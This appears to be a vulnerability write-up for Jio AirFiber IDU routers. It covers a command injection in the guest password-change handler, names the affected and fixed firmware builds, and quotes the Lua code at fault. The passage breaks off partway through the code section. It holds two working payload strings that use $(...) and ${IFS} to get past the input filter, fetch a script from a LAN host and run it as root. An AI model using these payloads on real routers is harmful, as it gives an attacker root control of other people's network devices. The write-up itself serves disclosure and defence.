What is broken in Jio AirFiber IDU stock firmware: a command injection in the password-history check, which builds are affected, and which build fixes it
# Jio AirFiber IDU: command injection in `changeUserPassword`
**A logged-in web-UI session can run commands as root on the stock firmware, and
the only thing standing between the two is a password validator that allows
`$(...)`.**
Affected: Jio AirFiber IDU routers, MediaTek `6j01` builds `R2.0.19.6` through
`R3.2.0` and Qualcomm `6j11` builds up to at least `R3.2.6`.
Fixed by: `R3.2.3` on the MediaTek branch. Not fixed on the Qualcomm branch as
far as anyone has reported.
This is a write-up of behaviour already present in the routers you own, read out
of their own filesystem. Nothing here needs a cable, a soldering iron or a
downgrade.
---
## 1. Summary
The router's own web API has a password-change handler for the **guest**
account. Before it changes anything, it checks the new password against the last
three by hashing it — and it builds that hash command as a **string**, with the
password inside **double quotes**, then hands the string to `/bin/sh`.
`$(...)` inside double quotes is still evaluated. So the password field is a root
shell.
The validator that runs first does block `` ` `` `"` `'` `|` `;` and whitespace —
the characters you would reach for to write `curl … | sh`. It does **not** block
`$`, `(`, `)`, `{`, `}` or `${IFS}`, which is everything needed.
Two 32-character "passwords" are enough to get a persistent root shell:
```
Aa1$(curl${IFS}192.168.31.51>/a) # 32 chars - fetch a script
Aa1$(sh${IFS}/a) # 16 chars - run it
```
The prefix is per-account trivia: the handler remembers the last three
passwords, and a fetch payload always evaluates to its own literal prefix, so it
never trips that history check.
## 2. The code
Read from a stock `JIDU6801` rootfs on `R2.0.19.6`.
`usr/lib/lua/luci/model/jio/rules/user.lua`:
```lua
local command = string.format(CONSTANTS.CMD_OPENSSL_HASH_PASSWORD, newPasswd, rsn)
local hashPassword = jioUtil.remove_newline(luci.sys.exec(command))
```
`usr/lib/lua/luci/model/jio/constants